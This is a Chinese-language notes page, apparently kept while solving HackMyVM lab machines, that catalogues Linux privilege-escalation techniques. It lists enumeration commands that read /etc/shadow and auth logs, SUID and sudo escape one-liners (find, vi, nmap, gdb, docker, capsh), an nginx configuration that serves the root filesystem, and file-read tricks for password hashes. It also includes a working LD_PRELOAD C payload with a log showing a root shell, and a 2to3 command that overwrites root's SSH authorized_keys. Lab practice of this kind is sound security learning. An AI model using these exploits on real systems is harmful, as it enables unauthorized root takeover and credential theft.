在做hackmym有一些提权的方法,在这里记录一下
基础的信息收集
whoami # 获取当前用户名
id # 获取当前用户权限
uname -a # 获取系统信息
cat /etc/passwd | grep -v "nologin" | grep -v "false" # 获取所有用户信息
cat /etc/group | grep -v "nogroup" | grep -v "nobody" # 获取所有用户组信息
cat /etc/shadow | grep -v "^#" | grep -v "^$" # 获取所有用户密码信息 这个看是否有权限访问
cat /etc/hosts # 获取所有主机信息
cat /etc/hostname # 获取主机名
cat /etc/resolv.conf # 获取DNS信息
find / -type f -perm -4000 2>/dev/null # 获取所有SUID文件
sudo -l # 获取当前用户权限
crontab -l # 获取计划任务
cat /etc/crontab # 获取计划任务
cd /home; ls -al # 列出所有用户目录
ls /home/* -al # 列出所有用户目录下的文件
cat /var/log/auth.log # 获取登录日志
netstat -pantul # 获取所有端口信息
ps auxf # 获取所有进程信息
service --status-all # 获取所有服务信息
cat /etc/services # 获取所有服务信息
jobs -l # 获取所有后台任务
一些提权方法
suid 提权
find / -type f -perm -4000 2>/dev/null # 获取所有SUID文件
# 一些提权命令
# find:
find . -exec /bin/sh \; -quit
# hping:
# 输入hping3进入交互模式然后输入/bin/bash
# vi:
vi -c ":!/bin/sh" /dev/null
# nmap:
nmap --interactive
# gdb:
gdb -nx -ex '!sh' -ex quit
# man
# 输入man 进入交互模式然后输入/bin/bash
# docker:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# 参数介绍:
# -v /:/mnt:将主机的根目录挂载到容器的/mnt目录下。
# --rm:删除容器实例。
# -it:指定容器的输入输出方式。
# alpine:指定要使用的镜像。
# chroot /mnt sh:进入容器的根目录并执行/bin/sh命令。
# 输入docker run -v /:/mnt --rm -it alpine chroot /mnt sh进入交互模式然后输入/bin/bash
# capsh:
./capsh --gid=0 --uid=0 --
# nginx: 这个是sudo提权
nginx:
sudo /usr/sbin/nginx -c /home/john/nginx.conf # 编辑一个配置文件,然后运行nginx -c 配置文件
# 配置文件内容如下:
“”“
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1234;
root /;
autoindex on;
}
}
“”“
# sulogin:
export SUSHELL=提权脚本 # 设置提权脚本
sulogin -e
# 输入sulogin -e进入交互模式然后输入/bin/bash
# join:
/usr/sbin/join /etc/passwd /etc/shadow # 将两个文件进行join读取密码
# xdg-open:
sudo xdg-open /etc/shadow # 读取文件
xdg-mime query default text/plain # 获取默认的文本编辑器
LD_PRELOAD劫持
编辑payload
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void inject()__attribute__((constructor));
void inject() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
编译并运行
icarus@icarus:/tmp$ nano exploit.c
icarus@icarus:/tmp$ chmod +x exploit.c
icarus@icarus:/tmp$ gcc -fPIC -shared -o exploit.so exploit.c
icarus@icarus:/tmp$ sudo LD_PRELOAD=/tmp/exploit.so /usr/bin/id
root@icarus:/tmp# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
2to3提权
# 覆写私钥
lover@light:/tmp$ sudo /usr/bin/2to3-2.7 -w -n authorized_keys -o /root/.ssh/authorized_keys
sudo提权
sudo -l # 获取当前用户权限
之后结合描述进行提权
ssh密钥覆写
这个提权方法需要ssh密钥,这个密钥需要放在/root/.ssh/authorized_keys文件中,然后执行sudo -l命令查看当前用户权限,然后结合描述进行提权
计划任务提权
cat /etc/crontab
# 需要查看计划任务是否可写
就这些以后在接着写
